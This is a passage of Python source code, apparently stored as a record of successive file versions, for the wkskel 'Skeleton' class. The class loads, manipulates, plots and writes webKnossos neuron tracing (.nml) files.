{}'.format(\n view, allowed_views)\n if ax is None:\n fig = plt.figure()\n if view is None:\n ax = fig.add_subplot(111, projection='3d')\n else:\n ax = fig.add_subplot(111, projection='rectilinear')\n elif view is None:\n assert ax.name == '3d', 'To generate a 3D skeleton plot, the projection type of the passed axes must be 3D'\n else:\n assert ax.name != '3d', 'To generate a 2D skeleton plot, the projection type of the passed axes must be rectilinear'\n lims_min = []\n lims_max = []\n for tree_idx in tree_inds:\n edges = self.edges[tree_idx].copy()\n nodes = self.nodes[tree_idx].copy()\n if len(nodes) > 0:\n nodes['position'] = nodes['position'].multiply(unit_factor)\n if view == 'xy':\n nodes = nodes.drop([('position', 'z')], axis=1)\n elif view == 'xz':\n nodes = nodes.drop([('position', 'y')], axis=1)\n elif view == 'yz':\n nodes = nodes.drop([('position', 'x')], axis=1)\n lims_min.append(np.min(nodes['position'].values, axis=0))\n lims_max.append(np.max(nodes['position'].values, axis=0))\n segments = []\n for edge in edges:\n n0 = nodes['position'][nodes.id == edge[0]].values[0]\n n1 = nodes['position'][nodes.id == edge[1]].values[0]\n segment = [[c for c in n0], [c for c in n1]]\n segments.append(segment)\n if view is None:\n line_collection = art3d.Line3DCollection(segments=\n segments, colors=colors[tree_idx])\n ax.add_collection3d(line_collection)\n else:\n line_collection = LineCollection(segments=segments,\n colors=colors[tree_idx])\n ax.add_collection(line_collection)\n lim_min = np.min(np.array(lims_min), axis=0)\n lim_max = np.max(np.array(lims_max), axis=0)\n ax.set_xlim(lim_min[0], lim_max[0])\n ax.set_ylim(lim_min[1], lim_max[1])\n if view is None:\n ax.set_zlim(lim_min[2], lim_max[2])\n else:\n ax.set_aspect('equal')\n if show:\n plt.show()\n return ax\n\n def write_nml(self, nml_write_path):\n \"\"\" Writes the present state of the skeleton object to a .nml file.\n\n Args:\n nml_write_path: Path to which .nml file should be written\n\n \"\"\"\n if self.num_trees() == 0:\n self.add_tree()\n nml = self._skeleton_to_nml()\n with open(nml_write_path, 'wb') as f:\n wknml.write_nml(f, nml)\n\n def node_id_to_idx(self, node_id: int) ->(int, int):\n \"\"\" Returns the linear tree and node indices for the provided node id.\"\"\"\n node_idx = None\n for tree_idx, nodes in enumerate(self.nodes):\n index_list = nodes[nodes['id'] == node_id].index.tolist()\n if index_list:\n node_idx = index_list[0]\n break\n assert node_idx is not None, 'node id {} does not exist'.format(node_id\n )\n return node_idx, tree_idx\n\n def node_idx_to_id(self, node_idx: int, tree_idx: int) ->int:\n \"\"\" Returns the node id for the provided tree and node idx.\"\"\"\n node_id = self.nodes[tree_idx].loc[node_idx, 'id'].values[0]\n return node_id\n\n def min_group_id(self) ->int:\n \"\"\" Returns lowest group id. If no groups are defined, return None\"\"\"\n group_ids = np.asarray(self.group_ids, dtype=np.float)\n if np.all(np.isnan(group_ids)):\n group_id = None\n else:\n group_id = int(np.nanmin(group_ids))\n return group_id\n\n def max_group_id(self) ->int:\n \"\"\" Returns highest group id. If no groups are defined, return None\"\"\"\n group_ids = np.asarray(self.group_ids, dtype=np.float)\n if np.all(np.isnan(group_ids)):\n group_id = None\n else:\n group_id = int(np.nanmax(group_ids))\n return group_id\n\n def min_node_id(self) ->int:\n \"\"\" Returns lowest global node id.\"\"\"\n if len(self.nodes) > 0:\n min_node_id = min([(min(nodes.id) if len(nodes) > 0 else 0) for\n nodes in self.nodes])\n else:\n min_node_id = 0\n return min_node_id\n\n def max_node_id(self) ->int:\n \"\"\" Returns highest global node id.\"\"\"\n if len(self.nodes) > 0:\n max_node_id = max([(max(nodes.id) if len(nodes) > 0 else 0) for\n nodes in self.nodes])\n else:\n max_node_id = 0\n return max_node_id\n\n def min_tree_id(self) ->int:\n \"\"\" Returns lowest global tree id.\"\"\"\n return min(self.tree_ids) if len(self.tree_ids) > 0 else 0\n\n def max_tree_id(self) ->int:\n \"\"\" Returns highest global tree id.\"\"\"\n return max(self.tree_ids) if len(self.tree_ids) > 0 else 0\n\n def num_trees(self) ->int:\n \"\"\"Returns number of trees contained in skeleton object.\"\"\"\n return len(self.nodes)\n\n def groups_ids(self) ->List[int]:\n \"\"\" Returns all ids defined in groups tree\"\"\"\n _, groups_ids = Skeleton._group_get_ids(self.groups)\n return groups_ids\n\n def _get_unit_factor(self, unit: str) ->np.ndarray:\n \"\"\" Returns factor for unit conversion\n\n Args:\n unit: Unit for which to return the conversion factor.\n Options: 'vx' (voxels), 'nm' (nanometer), 'um' (micrometer)\n\n Returns:\n unit_factor (shape=(3,)): Unit conversion factors\n \"\"\"\n unit_factors = {'vx': np.array((1, 1, 1)), 'nm': np.array(self.\n parameters.scale), 'um': np.array(self.parameters.scale) / 1000}\n assert unit in unit_factors.keys(), 'Invalid unit'\n unit_factor = unit_factors[unit]\n return unit_factor\n\n def _reset_node_ids(self, start_id: int):\n \"\"\" Resets node ids of skeleton to begin with start value.\n\n Args:\n start_id: Start value to which the lowest node id should be set.\n \"\"\"\n add_id = start_id - self.min_node_id()\n for tree_idx, _ in enumerate(self.nodes):\n self.nodes[tree_idx].nodes['id'] += add_id\n self.edges[tree_idx] += add_id\n\n def _reset_tree_ids(self, start_id: int):\n \"\"\" Resets tree ids of skeleton to begin with start value.\n\n Args:\n start_id: Start value to which the lowest tree id should be set.\n \"\"\"\n add_id = start_id - self.min_tree_id()\n self.tree_ids = [(tree_id + add_id) for tree_id in self.tree_ids]\n\n def _reset_group_ids(self, start_id: int):\n \"\"\" Resets group ids of skeleton to begin with start value.\n\n Args:\n start_id: Start value to which the lowest group id should be set.\n \"\"\"\n min_group_id = self.min_group_id()\n if min_group_id is not None:\n add_id = start_id - min_group_id\n self.group_ids = [(i + add_id if i is not None else i) for i in\n self.group_ids]\n self.groups = [Skeleton._group_modify_id(group, id_modifier=lambda\n x: x + add_id) for group in self.groups]\n\n def _parameters_to_skeleton(self, parameters):\n \"\"\" Generates bare skeleton object from parameters.\"\"\"\n self.parameters = parameters\n\n def _nml_to_skeleton(self, nml):\n \"\"\" Converts wknml to skeleton data structures.\"\"\"\n self.groups = nml.groups\n self.branchpoints = nml.branchpoints\n self.parameters = Parameters(**nml.parameters._asdict())\n for tree in nml.trees:\n self.add_tree(nodes=Skeleton._nml_nodes_to_nodes(nml_nodes=tree\n .nodes, nml_comments=nml.comments), edges=np.array([(edge.\n source, edge.target) for edge in tree.edges]), group_id=\n tree.groupId, name=tree.name, color=tree.color)\n\n def _skeleton_to_nml(self):\n \"\"\" Converts skeleton to wknml data structures.\"\"\"\n trees = []\n for tree_idx, tree_id in enumerate(self.tree_ids):\n nml_nodes = Skeleton._nodes_to_nml_nodes(self.nodes[tree_idx])\n nml_edges = Skeleton._edges_to_nml_edges(self.edges[tree_idx])\n tree = wknml.Tree(id=tree_id, color=self.colors[tree_idx], name\n =self.names[tree_idx], groupId=self.group_ids[tree_idx],\n nodes=nml_nodes, edges=nml_edges)\n trees.append(tree)\n nml = wknml.NML(parameters=wknml.NMLParameters(**self.parameters.\n _asdict()), trees=trees, branchpoints=self.branchpoints,\n comments=self._skeleton_to_nml_comments(), groups=self.groups)\n return nml\n\n def _skeleton_to_nml_comments(self):\n \"\"\" Converts skeleton to wknml comments.\"\"\"\n nml_comments = []\n for nodes in self.nodes:\n comment_nodes = nodes[nodes['comment'].notnull()]\n for _, row in comment_nodes.iterrows():\n nml_comment = wknml.Comment(node=row['id'].values[0],\n content=row['comment'].values[0])\n nml_comments.append(nml_comment)\n return nml_comments\n\n @staticmethod\n def define_parameters(name: str, scale: Tuple[float, float, float],\n offset: Tuple[float, float, float]=(0, 0, 0), time: int=0,\n editPosition: Tuple[float, float, float]=(1.0, 1.0, 1.0),\n editRotation: Tuple[float, float, float]=(0.0, 0.0, 0.0), zoomLevel:\n float=1.0, taskBoundingBox: Tuple[int, int, int, int, int, int]=\n None, userBoundingBox: Tuple[int, int, int, int, int, int]=None\n ) ->Parameters:\n parameters = Parameters(name=name, scale=scale, offset=offset, time\n =time, editPosition=editPosition, editRotation=editRotation,\n zoomLevel=zoomLevel, taskBoundingBox=taskBoundingBox,\n userBoundingBox=userBoundingBox)\n return parameters\n\n @staticmethod\n def get_distance(positions: np.ndarray, position: np.ndarray,\n unit_factor: np.ndarray=None):\n \"\"\" Get the (euclidean) distances between positions and a target position\n\n Args:\n positions (N x 3): Array holding (multiple) x, y, z positions\n position (1 x 3): Array holding x, y, z position to which the distances should be computed\n unit_factors (1 x 3 Array, optional): Conversion factors with which distances are multiplied. Default (1,1,1)\n\n Returns:\n distances: Arrays holding distances\n\n \"\"\"\n if unit_factor is None:\n unit_factor = np.array([1, 1, 1])\n distances = np.sqrt(np.sum(((positions - position) * unit_factor.\n reshape(1, 3)) ** 2, axis=1))\n return distances\n\n @staticmethod\n def _nml_nodes_to_nodes(nml_nodes, nml_comments):\n \"\"\" Converts wknml nodes (list of named tuples) to skeleton nodes (DataFrame subclass).\"\"\"\n data = [(node.id, node.position[0], node.position[1], node.position\n [2], node.radius, node.rotation[0], node.rotation[1], node.\n rotation[2], node.inVp, node.inMag, node.bitDepth, node.\n interpolation, node.time, np.nan) for node in nml_nodes]\n nodes = Nodes(data=data)\n comment_node_ids = [comment.node for comment in nml_comments]\n comment_strings = [comment.content for comment in nml_comments]\n nodes_ids_comments = nodes.id[nodes.id.isin(comment_node_ids)]\n for id in nodes_ids_comments:\n id_comment = comment_strings[comment_node_ids.index(id)]\n nodes.loc[nodes.id == id, ('comment', '')] = id_comment\n return nodes\n\n @staticmethod\n def _nodes_to_nml_nodes(nodes):\n \"\"\" Converts skeleton nodes (DataFrame subclass) to wknml nodes (list of named tuples).\"\"\"\n nml_nodes = []\n for idx, row in nodes.iterrows():\n nml_node = wknml.Node(id=int(row.id), position=tuple(row.\n position.values), radius=float(row.radius), rotation=tuple(\n row.rotation.values), inVp=int(row.inVp), inMag=int(row.\n inMag), bitDepth=int(row.bitDepth), interpolation=bool(row.\n interpolation.values), time=int(row.time))\n nml_nodes.append(nml_node)\n return nml_nodes\n\n @staticmethod\n def _edges_to_nml_edges(edges):\n \"\"\" Converts skeleton edges (numpy array) to wknml edges (list of named tuples).\"\"\"\n nml_edges = []\n for idx in range(edges.shape[0]):\n nml_edge = wknml.Edge(source=int(edges[idx, 0]), target=int(\n edges[idx, 1]))\n nml_edges.append(nml_edge)\n return nml_edges\n\n @staticmethod\n def _group_append(groups, id, new_group):\n \"\"\" Appends new group as a child of existing group with specified id. Currently only works up to depth=3.\"\"\"\n path_inds = []\n _, _, idx = Skeleton._group_parent(groups, id)\n while id is not None:\n path_inds.append(idx)\n id, idx, _ = Skeleton._group_parent(groups, id)\n path_inds = list(reversed(path_inds))\n if len(path_inds) == 1:\n groups[path_inds[0]]._replace(children=new_group)\n elif len(path_inds) == 2:\n groups[path_inds[0]].children[path_inds[1]]._replace(children=\n new_group)\n elif len(path_inds) == 3:\n groups[path_inds[0]].children[path_inds[1]].children[path_inds[2]\n ]._replace(children=new_group)\n return groups\n\n @staticmethod\n def _group_parent(groups, id, parent_id=None, parent_idx=None,\n child_idx=None):\n \"\"\" Returns the id of the parent group for a (child) group with specified id.\"\"\"\n for group in groups:\n if id in [x.id for x in group.children]:\n parent_id = group.id\n parent_idx = groups.index(group)\n child_idx = [x.id for x in group.children].index(id)\n else:\n parent_id, parent_idx, child_idx = Skeleton._group_parent(group\n .children, id, parent_id, parent_idx, child_idx)\n return parent_id, parent_idx, child_idx\n\n @staticmethod\n def _group_modify_id(group, id_modifier):\n \"\"\" Modifies group ids with the passed id_modifier (e.g. lambda) function.\"\"\"\n group = group._replace(id=id_modifier(group.id))\n group = group._replace(children=list(map(lambda g: Skeleton.\n _group_modify_id(g, id_modifier), group.children)))\n return group\n\n @staticmethod\n def _group_get_ids(groups, ids=[]):\n for group in groups:\n ids.append(group.id)\n Skeleton._group_get_ids(group.children, ids)\n return groups, ids\n\n @staticmethod\n def _get_graph(nodes: Nodes, edges: np.ndarray):\n \"\"\" Returns the networkx graph representation of provided nodes and edges.\"\"\"\n graph = nx.Graph()\n graph.add_nodes_from(nodes['id'])\n attrs = nodes.set_index('id').to_dict('index')\n nx.set_node_attributes(graph, attrs)\n graph.add_edges_from(edges)\n return graph\n\n @staticmethod\n def _num_conn_comp(graph):\n \"\"\" Returns number of connected components for graph\"\"\"\n return nx.number_connected_components(graph)\n", "step-5": "import os\nimport numpy as np\nimport networkx as nx\nfrom matplotlib import colors, cm\nfrom matplotlib import pyplot as plt\nfrom matplotlib.collections import LineCollection\nfrom mpl_toolkits.mplot3d import Axes3D, art3d\nfrom typing import Union, Sequence, List, Tuple, Optional\n\nimport wknml\n\nfrom wkskel.types import Nodes, Parameters\n\n\nclass Skeleton:\n \"\"\"The Skeleton class facilitates scientific analysis and manipulation of webKnossos tracings.\n\n It is designed as a high-level interface for working with nml files generated e.g with webKnossos. It makes use of\n the (low-level) `wknml` package mostly as an I/O interface to nml files.\n\n Class Attributes:\n DEFAULTS (dict): Global default parameters which are passed to each skeleton object instance\n\n \"\"\"\n\n DEFAULTS = {\n 'node': {\n 'radius': 100,\n 'comment': ''\n },\n 'tree': {\n 'color': (0.0, 0.0, 0.0, 1.0)\n }\n }\n\n def __init__(self, nml_path: str = None, parameters: Parameters = None, strict = True):\n \"\"\" The Skeleton constructor expects either a path to a nml file or a Parameters object as input arguments\n\n Args:\n nml_path: Path to nml file. If constructed via an nml file, the skeleton object is populated with all the\n trees and additional properties specified in the .nml file\n parameters (optional): Parameters (wkskel.types.Parameters) specifying the most rudimentary properties\n of the skeleton.\n strict (optional): Controls assertions ensuring that resulting skeleton objects are compatible with\n webKnossos. Default: True\n\n Examples:\n Using nml_path:\n nml_path = '/path/to/example.nml'\n skel = Skeleton(nml_path)\n\n Using parameters:\n parameters = Skeleton.define_parameters(name=\"2017-01-12_FD0156-2\", scale=(11.24, 11.24, 32))\n skel = Skeleton(parameters=parameters)\n \"\"\"\n\n assert (nml_path is not None) ^ (parameters is not None), \\\n 'To construct a skeleton object, either a path to a nml file or the skeleton parameters need to passed'\n\n self.nodes = list()\n self.edges = list()\n self.names = list()\n self.colors = list()\n self.tree_ids = list()\n self.group_ids = list()\n self.groups = list()\n self.branchpoints = list()\n self.parameters = Parameters()\n self.nml_path = str()\n\n self.strict = strict\n self.defaults = self.DEFAULTS\n\n # Construct from nml file\n if nml_path is not None:\n assert os.path.exists(nml_path), \\\n 'not a valid path: {}'.format(nml_path)\n try:\n with open(nml_path, \"rb\") as f:\n nml = wknml.parse_nml(f)\n except IOError:\n print('not a valid nml file: {}'.format(nml_path))\n\n self._nml_to_skeleton(nml)\n\n # Construct from parameters\n else:\n assert type(parameters) is Parameters, \\\n 'provided parameters must be of type wkskel.types.Parameters'\n\n self._parameters_to_skeleton(parameters)\n\n def add_tree(self,\n nodes: Nodes = Nodes(),\n edges: Union[List[Tuple[int, int]], np.ndarray] = None,\n tree_id: int = None,\n name: str = '',\n group_id: int = None,\n color: Tuple[float, float, float, float] = None):\n \"\"\" Appends new tree to skeleton.\n\n Args:\n nodes (optional): Nodes representing tree to be added\n edges (optional): Edges representing tree to be added\n tree_id (optional): Tree id to be used for new tree. Default: Highest current tree id + 1\n name (optional): Name to be used for new tree. Default: Empty str\n group_id (optional): Group id to be used for new tree. If passed group id does not exist, it is created.\n Default: None\n color (optional): Color to be used for new tree specified as (r, g, b, alpha). Default: (0, 0, 0, 1)\n \"\"\"\n\n if edges is None:\n edges = np.empty((0, 2), dtype=np.uint32)\n elif type(edges) is list:\n edges = np.asarray(edges)\n\n if self.strict & (len(nodes) > 1):\n assert Skeleton._num_conn_comp(Skeleton._get_graph(nodes, edges)) == 1, \\\n 'Added tree consists of more than one connected component'\n\n if tree_id is None:\n tree_id = self.max_tree_id() + 1\n\n if (group_id is not None) & (group_id not in self.groups_ids()):\n self.add_group(id=group_id)\n\n if color is None:\n color = self.defaults['tree']['color']\n\n self.nodes.append(nodes)\n self.edges.append(edges)\n self.tree_ids.append(tree_id)\n self.group_ids.append(group_id)\n self.names.append(name)\n self.colors.append(color)\n\n def add_tree_from_skel(self,\n skel: 'Skeleton',\n tree_idx: int,\n group_id: int = None,\n name: str = None):\n \"\"\" Appends a specific tree contained in a different skeleton object to the skeleton.\n\n Args:\n skel: Source skeleton object (different from the one calling this method) to be added\n tree_idx: Source tree index of tree to be added\n group_id (optional): Target group id to which the added tree should be assigned. Default: None\n name (optional): Target name for the added tree\n \"\"\"\n\n if group_id not in self.groups_ids():\n self.add_group(id=group_id)\n\n if name is None:\n name = skel.names[tree_idx]\n\n skel._reset_node_ids(self.max_node_id() + 1)\n skel._reset_tree_ids(self.max_tree_id() + 1)\n\n self.nodes = self.nodes + [skel.nodes[tree_idx]]\n self.edges = self.edges + [skel.edges[tree_idx]]\n self.tree_ids = self.tree_ids + [skel.tree_ids[tree_idx]]\n self.group_ids = self.group_ids + [group_id]\n self.names = self.names + [name]\n self.colors = self.colors + [skel.colors[tree_idx]]\n\n return self\n\n def add_trees_from_skel(self, skel: 'Skeleton'):\n \"\"\" Appends all trees contained in a different skeleton object to the skeleton.\n\n This method attempts to preserve the relative group structure found in the skeleton object to be added\n\n Args:\n skel: Source skeleton object (different from the one calling this method) to be added\n \"\"\"\n\n skel._reset_node_ids(self.max_node_id() + 1)\n skel._reset_tree_ids(self.max_tree_id() + 1)\n\n max_group_id = self.max_group_id()\n if max_group_id is not None:\n skel._reset_group_ids(max_group_id + 1)\n\n self.nodes = self.nodes + skel.nodes\n self.edges = self.edges + skel.edges\n self.tree_ids = self.tree_ids + skel.tree_ids\n self.group_ids = self.group_ids + skel.group_ids\n self.groups = self.groups + skel.groups\n self.names = self.names + skel.names\n self.colors = self.colors + skel.colors\n\n return self\n\n def add_nodes_as_trees(self,\n nodes: Nodes,\n tree_ids: List[int] = None,\n group_ids: List[int] = None,\n names: List[str] = None,\n colors: List[Tuple[float, float, float, float]] = None):\n \"\"\" Appends each of the specified nodes as separate trees to the skeleton (1 node each).\n\n Args:\n nodes: Nodes representing the trees to be added\n tree_ids (optional): Tree ids to be assigned to the newly added trees. Default: Global max + [1, n]\n group_ids (optional): Group ids to be assigned to the newly added trees. Default: None\n names (optional): Names to be assigned to the newly added trees.\n colors (optional): Colors to be used for the new trees specified as (r, g, b, alpha). Default: (0, 0, 0, 1)\n \"\"\"\n\n if tree_ids is None:\n tree_id_start = self.max_tree_id() + 1\n tree_id_end = tree_id_start + len(nodes)\n tree_ids = list(range(tree_id_start, tree_id_end))\n\n if group_ids is None:\n group_ids = [None for x in range(len(nodes))]\n\n if names is None:\n names = ['' for x in range(len(nodes))]\n\n if colors is None:\n colors = [(0.0, 0.0, 0.0, 1.0) for x in range(len(nodes))]\n\n for node_idx, _ in nodes.iterrows():\n self.add_tree(\n nodes=nodes[node_idx:node_idx+1],\n tree_id=tree_ids[node_idx],\n group_id=group_ids[node_idx],\n name=names[node_idx],\n color=colors[node_idx]\n )\n\n def delete_tree(self, idx: int = None, id: int = None):\n \"\"\" Deletes tree with specified idx or id.\n\n Args:\n idx: Linear index of tree to be deleted\n id: Id of tree to be deleted\n\n \"\"\"\n\n if id is not None:\n idx = self.tree_ids.index(id)\n\n self.nodes.pop(idx)\n self.edges.pop(idx)\n self.names.pop(idx)\n self.colors.pop(idx)\n self.tree_ids.pop(idx)\n self.group_ids.pop(idx)\n\n def add_group(self, parent_id: int = None, id: int = None, name: str = None):\n \"\"\" Adds a new group to skeleton object.\n\n Args:\n parent_id: Parent group id to which new group is added as a child. Default: None (root group)\n id: Id of new group to be added. Default: Current max group id + 1\n name: Name of new group to be added. Default: 'Group {}'.format(id)\n\n Returns:\n id: Id of added group\n name: Name of added group\n\n \"\"\"\n if parent_id is not None:\n assert (parent_id in self.group_ids), ('Parent id does not exist')\n\n if id is None:\n id = int(np.nanmax(np.asarray(self.group_ids, dtype=np.float)) + 1)\n else:\n assert (id not in self.groups_ids()), ('Id already exists')\n\n if name is None:\n name = 'Group {}'.format(id)\n\n new_group = wknml.Group(id, name, [])\n if parent_id is None:\n self.groups.append(new_group)\n else:\n self.groups = Skeleton._group_append(self.groups, parent_id, new_group)\n\n return id, name\n\n def delete_group(self, id, target_id):\n # TODO\n pass\n\n def define_nodes(self,\n position_x: List[int],\n position_y: List[int],\n position_z: List[int],\n id: List[int] = None,\n radius: Optional[List[int]] = None,\n rotation_x: Optional[List[float]] = None,\n rotation_y: Optional[List[float]] = None,\n rotation_z: Optional[List[float]] = None,\n inVP: Optional[List[int]] = None,\n inMag: Optional[List[int]] = None,\n bitDepth: Optional[List[int]] = None,\n interpolation: Optional[List[bool]] = None,\n time: Optional[List[int]] = None,\n comment: Optional[List[int]] = None) -> Nodes:\n \"\"\" Generates new nodes table from data.\n\n Args:\n position_x: Node position x\n position_y: Node position y\n position_z: Node position z\n id (optional): (Globally unique) Node id. Default: New unique ids are generated\n radius (optional): Node radius\n rotation_x (optional): Node rotation x\n rotation_y (optional): Node rotation y\n rotation_z (optional): Node rotation z\n inVP (optional): Viewport index in which node was placed\n inMag (optional): (De-)Magnification factor in which node was placed\n bitDepth (optional): Bit (Color) Depth in which node was placed\n interpolation (optional): Interpolation state in which node was placed\n time (optional): Time stamp at which node was placed\n comment (optional): Comment associated with node\n\n Returns:\n nodes: Nodes object\n\n \"\"\"\n\n if id is None:\n id_max = self.max_node_id()\n id = list(range(id_max+1, id_max+len(position_x)+1))\n\n nodes = Nodes.from_list(id, position_x, position_y, position_z, radius, rotation_x, rotation_y,\n rotation_z, inVP, inMag, bitDepth, interpolation, time, comment)\n\n return nodes\n\n def define_nodes_from_positions(self, positions: np.ndarray) -> Nodes:\n \"\"\" Generates new nodes table from positions only (node ids are generated automatically).\n\n Args:\n positions (N x 3): Numpy array holding the (x,y,z) positions to be returned as nodes in a Nodes table\n\n Returns:\n nodes: Nodes object\n\n \"\"\"\n\n id_max = self.max_node_id()\n id = np.array(range(id_max + 1, id_max + positions.shape[0] + 1)).reshape(-1, 1)\n\n nodes = Nodes.from_numpy(np.append(id, positions, axis=1))\n\n return nodes\n\n def get_distances_to_node(self,\n positions: Union[Sequence[Tuple[int, int, int]], np.ndarray],\n node_id: int = None,\n tree_idx: int = None,\n node_idx: int = None,\n unit: str = 'um') -> List[np.ndarray]:\n \"\"\" Get the (euclidean) distances from the specified node to the provided (x,y,z) positions\n\n Args:\n positions (N x 3): Target (x,y,z) positions to which the distances should be computed\n node_id: Node id of the node for which the distances should be computed\n tree_idx: Tree idx of the node for which the distances should be computed\n node_idx: Node idx of the node for which the distances should be computed\n unit (optional): Unit flag specifying in which unit the distances should be returned.\n Options: 'vx' (voxels), 'nm' (nanometer), 'um' (micrometer). Default: 'um' (micrometer)\n\n Returns:\n distances: Array holding distances\n\n \"\"\"\n\n assert (node_id is not None) ^ ((tree_idx is not None) & (node_idx is not None)), \\\n 'Either provide node_id or both tree_idx and node_idx'\n\n if type(positions) is not np.ndarray:\n positions = np.array(positions)\n\n if node_id is not None:\n node_idx, tree_idx = self.node_id_to_idx(node_id)\n\n unit_factor = self._get_unit_factor(unit)\n distances = Skeleton.get_distance(positions, np.array(self.nodes[tree_idx].position.values[node_idx]), unit_factor)\n\n return distances\n\n def get_distance_to_nodes(self,\n position: Union[Tuple[int, int, int], np.ndarray],\n tree_idx: int,\n unit: str = 'um') -> List[np.ndarray]:\n \"\"\" Get the (euclidean) distances from the nodes of the specified tree to the provided (x,y,z) position\n\n Args:\n position (1 x 3): Target (x,y,z) position to which the node distances should be computed\n tree_idx: Tree idx for which node distances should be computed\n unit (optional): Unit flag specifying in which unit the distances should be returned.\n Options: 'vx' (voxels), 'nm' (nanometer), 'um' (micrometer). Default: 'um' (micrometer)\n\n Returns:\n distances: Array holding distances\n\n \"\"\"\n\n if type(position) is not np.ndarray:\n position = np.array(position)\n\n unit_factor = self._get_unit_factor(unit)\n distances = Skeleton.get_distance(np.array(self.nodes[tree_idx].position.values), position, unit_factor)\n\n return distances\n\n def get_graph(self, tree_idx):\n \"\"\" Returns the networkx graph representation of a tree.\n\n Args:\n tree_idx: Linear index of the tree to be returned as graph object\n\n Returns:\n graph: Graph object\n\n \"\"\"\n\n nodes = self.nodes[tree_idx]\n edges = self.edges[tree_idx]\n graph = Skeleton._get_graph(nodes, edges)\n\n return graph\n\n def get_shortest_path(self, node_id_start: int, node_id_end: int) -> List[int]:\n \"\"\" Returns the shortest path between two nodes of a tree.\n\n Args:\n node_id_start: Node id of start node\n node_id_end: Node id of end node\n\n Returns:\n shortest_path: Node indices comprising the shortest path\n\n \"\"\"\n\n _, tree_idx_start = self.node_id_to_idx(node_id_start)\n _, tree_idx_end = self.node_id_to_idx(node_id_end)\n\n assert tree_idx_start == tree_idx_end, 'Provided node ids need to be part of the same tree'\n\n graph = self.get_graph(tree_idx_start)\n shortest_path = nx.shortest_path(graph, node_id_start, node_id_end)\n\n return shortest_path\n\n def plot(self,\n tree_inds: Union[int, List[int]] = None,\n view: str = None,\n colors: Union[Tuple[float, float, float, float], List[Tuple[float, float, float, float]], str] = None,\n unit: str = 'um',\n show: bool = True,\n ax: plt.axes = None):\n \"\"\" Generates a (3D) line plot of the trees contained in the skeleton object.\n\n Args:\n tree_inds (optional): Tree indices to be plotted.\n Default: All trees are plotted\n view (optional): Plot as 2D projection on orthonormal plane.\n Options: 'xy', 'xz', 'yz'\n Default: Plot as 3D projection\n colors (optional): Colors in which trees should be plotted. If only one RGBA tuple is specified, it is\n broadcasted over all trees. Alternatively, a list providing RGBA tuples for each tree can be passed.\n Lastly, the name of a mnatplotlib colormap (https://matplotlib.org/tutorials/colors/colormaps.html) can\n be passed as a str.\n Default: Skeleton colors (self.colors) are used\n unit (optional): Specifies in which unit the plot should be generated.\n Options: 'vx' (voxels), 'nm' (nanometer), 'um' (micrometer).\n Default: 'um' (micrometer)\n show (optional): Displays the plot in an interactive window. For repeatedly plotting on the same axes, set\n to False. Default: True\n ax: Axes to be plotted on.\n\n Returns:\n ax: Axes which was plotted on\n \"\"\"\n\n if tree_inds is None:\n tree_inds = list(range(len(self.nodes)))\n elif tree_inds is int:\n tree_inds = [tree_inds]\n\n if colors is None:\n colors = self.colors\n elif type(colors) is str:\n cmap = cm.get_cmap(colors)\n colors = [cmap(x) for x in np.linspace(0, 1, self.num_trees())]\n elif type(colors[0]) is not Sequence:\n colors = [colors] * self.num_trees()\n\n\n unit_factor = self._get_unit_factor(unit)\n\n allowed_views = ['xy', 'xz', 'yz']\n if view is not None:\n assert (view in allowed_views), \\\n 'The passed view argument: {} is not among the allowed views: {}'.format(view, allowed_views)\n\n if ax is None:\n fig = plt.figure()\n if view is None:\n ax = fig.add_subplot(111, projection='3d')\n else:\n ax = fig.add_subplot(111, projection='rectilinear')\n else:\n if view is None:\n assert (ax.name == '3d'), \\\n 'To generate a 3D skeleton plot, the projection type of the passed axes must be 3D'\n else:\n assert (ax.name != '3d'), \\\n 'To generate a 2D skeleton plot, the projection type of the passed axes must be rectilinear'\n\n lims_min = []\n lims_max = []\n\n for tree_idx in tree_inds:\n edges = self.edges[tree_idx].copy()\n nodes = self.nodes[tree_idx].copy()\n\n if len(nodes) > 0:\n nodes['position'] = nodes['position'].multiply(unit_factor)\n if view == 'xy':\n nodes = nodes.drop([('position', 'z')], axis=1)\n elif view == 'xz':\n nodes = nodes.drop([('position', 'y')], axis=1)\n elif view == 'yz':\n nodes = nodes.drop([('position', 'x')], axis=1)\n lims_min.append(np.min(nodes['position'].values, axis=0))\n lims_max.append(np.max(nodes['position'].values, axis=0))\n\n segments = []\n for edge in edges:\n n0 = nodes['position'][nodes.id == edge[0]].values[0]\n n1 = nodes['position'][nodes.id == edge[1]].values[0]\n segment = [[c for c in n0], [c for c in n1]]\n segments.append(segment)\n\n if view is None:\n line_collection = art3d.Line3DCollection(segments=segments, colors=colors[tree_idx])\n ax.add_collection3d(line_collection)\n else:\n line_collection = LineCollection(segments=segments, colors=colors[tree_idx])\n ax.add_collection(line_collection)\n\n lim_min = np.min(np.array(lims_min), axis=0)\n lim_max = np.max(np.array(lims_max), axis=0)\n\n ax.set_xlim(lim_min[0], lim_max[0])\n ax.set_ylim(lim_min[1], lim_max[1])\n if view is None:\n ax.set_zlim(lim_min[2], lim_max[2])\n else:\n ax.set_aspect('equal')\n\n if show:\n plt.show()\n\n return ax\n\n def write_nml(self, nml_write_path):\n \"\"\" Writes the present state of the skeleton object to a .nml file.\n\n Args:\n nml_write_path: Path to which .nml file should be written\n\n \"\"\"\n\n # If the object does not have any trees, construct an empty tree before writing to enable webKnossos import\n if self.num_trees() == 0:\n self.add_tree()\n\n nml = self._skeleton_to_nml()\n with open(nml_write_path, \"wb\") as f:\n wknml.write_nml(f, nml)\n\n # Convenience Methods\n def node_id_to_idx(self, node_id: int) -> (int, int):\n \"\"\" Returns the linear tree and node indices for the provided node id.\"\"\"\n\n node_idx = None\n for tree_idx, nodes in enumerate(self.nodes):\n index_list = nodes[nodes['id'] == node_id].index.tolist()\n if index_list:\n node_idx = index_list[0]\n break\n\n assert (node_idx is not None), \\\n 'node id {} does not exist'.format(node_id)\n\n return node_idx, tree_idx\n\n def node_idx_to_id(self, node_idx: int, tree_idx: int) -> int:\n \"\"\" Returns the node id for the provided tree and node idx.\"\"\"\n\n node_id = self.nodes[tree_idx].loc[node_idx, 'id'].values[0]\n\n return node_id\n\n def min_group_id(self) -> int:\n \"\"\" Returns lowest group id. If no groups are defined, return None\"\"\"\n\n group_ids = np.asarray(self.group_ids, dtype=np.float)\n if np.all(np.isnan(group_ids)):\n group_id = None\n else:\n group_id = int(np.nanmin(group_ids))\n\n return group_id\n\n def max_group_id(self) -> int:\n \"\"\" Returns highest group id. If no groups are defined, return None\"\"\"\n\n group_ids = np.asarray(self.group_ids, dtype=np.float)\n if np.all(np.isnan(group_ids)):\n group_id = None\n else:\n 